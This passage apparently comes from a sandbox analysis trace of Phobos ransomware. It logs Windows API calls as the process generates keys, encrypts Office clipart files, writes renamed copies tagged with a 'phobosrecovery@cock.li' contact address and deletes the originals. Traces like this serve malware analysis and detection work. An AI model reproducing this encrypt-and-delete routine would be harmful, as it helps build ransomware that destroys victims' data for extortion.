dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1450) returned 1 [0165.767] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.767] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xe20, lpOverlapped=0x0) returned 1 [0165.830] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe30, dwBufLen=0xe30 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe30) returned 1 [0165.830] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xe30, lpOverlapped=0x0) returned 1 [0165.832] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1890) returned 1 [0165.832] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.832] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0165.832] CryptDestroyKey (hKey=0x1d1890) returned 1 [0165.832] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0165.832] CryptDestroyKey (hKey=0x1d1450) returned 1 [0165.832] CloseHandle (hObject=0x2c4) returned 1 [0165.832] CloseHandle (hObject=0x2c8) returned 1 [0165.832] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0165.834] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.835] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2796) returned 1 [0165.835] CloseHandle (hObject=0x2c8) returned 1 [0165.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0165.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.835] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.835] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.836] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d16d0) returned 1 [0165.836] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.836] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xaec, lpOverlapped=0x0) returned 1 [0165.882] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xaf0) returned 1 [0165.882] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xaf0, lpOverlapped=0x0) returned 1 [0165.883] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d15d0) returned 1 [0165.883] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.883] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0165.883] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.884] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0165.884] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0165.884] CloseHandle (hObject=0x2c8) returned 1 [0165.884] CloseHandle (hObject=0x2c4) returned 1 [0165.884] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0165.886] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.887] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2960) returned 1 [0165.887] CloseHandle (hObject=0x2c4) returned 1 [0165.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0165.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.887] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.887] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.888] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0165.888] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.888] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xb90, lpOverlapped=0x0) returned 1 [0166.107] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xba0, dwBufLen=0xba0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xba0) returned 1 [0166.107] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xba0, lpOverlapped=0x0) returned 1 [0166.109] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1410) returned 1 [0166.109] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.109] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.109] CryptDestroyKey (hKey=0x1d1410) returned 1 [0166.109] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.109] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.109] CloseHandle (hObject=0x2c4) returned 1 [0166.109] CloseHandle (hObject=0x2c8) returned 1 [0166.109] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0166.111] SetEvent (hEvent=0x298) returned 1 [0166.111] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.112] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3588) returned 1 [0166.112] CloseHandle (hObject=0x2c8) returned 1 [0166.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0166.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.113] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.113] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.114] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0166.114] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.114] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xe04, lpOverlapped=0x0) returned 1 [0166.290] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe10, dwBufLen=0xe10 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe10) returned 1 [0166.290] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xe10, lpOverlapped=0x0) returned 1 [0166.296] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0166.296] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.296] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.296] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.296] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.297] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0166.297] CloseHandle (hObject=0x2c8) returned 1 [0166.297] CloseHandle (hObject=0x2c4) returned 1 [0166.298] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0166.301] SetEvent (hEvent=0x298) returned 1 [0166.301] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.319] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2228) returned 1 [0166.320] CloseHandle (hObject=0x2e0) returned 1 [0166.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0166.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.320] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.320] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.322] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1590) returned 1 [0166.322] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.322] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8b4, lpOverlapped=0x0) returned 1 [0166.340] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8c0) returned 1 [0166.340] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x8c0, lpOverlapped=0x0) returned 1 [0166.341] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0166.341] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.341] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.341] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.341] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.341] CryptDestroyKey (hKey=0x1d1590) returned 1 [0166.341] CloseHandle (hObject=0x2e0) returned 1 [0166.341] CloseHandle (hObject=0x2c4) returned 1 [0166.342] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0166.343] SetEvent (hEvent=0x298) returned 1 [0166.343] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.344] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2300) returned 1 [0166.344] CloseHandle (hObject=0x2c4) returned 1 [0166.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0166.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.345] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.345] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.345] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0166.345] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.345] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8fc, lpOverlapped=0x0) returned 1 [0166.382] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x900, dwBufLen=0x900 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x900) returned 1 [0166.382] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x900, lpOverlapped=0x0) returned 1 [0166.384] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d14d0) returned 1 [0166.384] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.384] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.384] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0166.384] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.384] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0166.384] CloseHandle (hObject=0x2c4) returned 1 [0166.384] CloseHandle (hObject=0x2e0) returned 1 [0166.384] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program 